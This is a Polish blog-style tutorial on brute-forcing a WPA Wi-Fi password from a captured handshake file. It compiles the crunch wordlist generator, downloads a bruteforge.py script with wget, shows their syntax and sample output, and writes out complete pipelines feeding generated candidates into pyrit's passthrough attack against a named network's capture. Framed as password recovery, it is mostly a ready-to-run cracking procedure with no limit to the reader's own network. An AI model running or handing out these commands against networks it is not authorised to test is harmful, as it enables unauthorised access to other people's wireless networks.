Oto
jak odzyskiwać hasło do sieci WPA+ używając pyrita, lecz nie
metodą słownikową, a próbą ataku brute-force.
Pokazywałem
już jak zainstalować pyrita, więc zaczniemy od razu od tego jak
wykonać metodę brute-force.
Żeby móc atakować brute forcem,
wypadałoby mieć program, który wygeneruje wszystkie hasła z
danego zbioru znaków, najczęściej używanym jest crunch stworzony
przez grupę DarkC0de.
Teraz trzeba go skompilować:
gcc -c crunch.c gcc -lm -o crunch crunch.o |
Składnia programu jest mniej-więcej taka:
./crunch jakie-znaki+używać+dobudowy=haseł |
Czyli:
./crunch 1 7 1234567890 |
Spowoduje wyświetlenie na stdout, coś podobnego do:
... 14340 14351 14352 14353 14354 14355 14356 14357 14358 14359 14350 14361 ... |
A polecenie
./crunch 5 7 qwertyuioplkjhgfdsazxcvbnm |
Pokaże hasła o składni:
... qyeiu qyeii qyeio qyeip qyeil qyeik qyeij qyeih qyeig qyeif qyeid qyeis qyeia qyeiz qyeix qyeic qyeiv qyeib qyein qyeim qyeoq qyeow qyeoe ... |
Proste! Jak tego używać z pyritem? Za pomocą operatora kontrolnego z powłoki bash: |
Wypadałoby znać składnię poleceń programu pyrit, żeby więcej zdziałać, ale ta poznana w poprzednim artykule powinna być wystarczająca.
./crunch 5 7 qwertyuioplkjhgfdsazxcvbnm | pyrit -r PlikZHandshake.cap -e "NASA" -i -attack_passthrough |
Crunch ma jeszcze inne rozwiązanie ataków brute-force:
./crunch 9 9 1234567890 -t haxored@@@@ |
Wygeneruje nam 1000 kombinacji wyrazy haxoredDDDD, gdzie D oznacza znak z zakresu podanego w komendzie do programu. Znak @ oznacza każdy dowolny znak podany w polecaniu programu.
... haxored0074 haxored0075 haxored0076 haxored0077 haxored0078 haxored0079 haxored0070 haxored0081 haxored0082 haxored0083 haxored0084 ... |
Drugim programem, a właściwie skryptem, który chciałbym tutaj pokazać jest bruteforge.py
wget https://gist.github.com/agilob/8387512/raw/7f1f35fce31c35b12c5dc43a52eeb563a45a7297/bruteforge.py -O bruteforge.py |
Ma on również więcej użytecznych opcji, jak automatyczne wybieranie charsetu:
charsets: 0) lowercase 1) uppercase 2) digits 3) lowercase+digits 4) hexdigits 5) full-hexdigits 6) 32 Chars 7) custom 8) special 9) advanced mode import from FILE [default: 0] |
Składnia jest też nie skomplikowana, żeby wypluć na stdout permutacje różnych charsetów to:
./bruteforge.py -m 10 -c 3 |
Gdzie -m 10 oznacza maksymalną długość haseł, a -c oznacza wybrany charset.
... xyd xye xyf xyg xyh xyi xyj xyk xyl xym xyn xyo xyp xyq xyr xys xyt xyu xyv xyw xyx xyy ... |
Przerzucenie tego do pyrita to nic innego jak:
./bruteforge.py -m 10 -c 3 | pyrit -r PlikZHandshake.cap -e "nazwa_sieci" -i -attack_passthrough |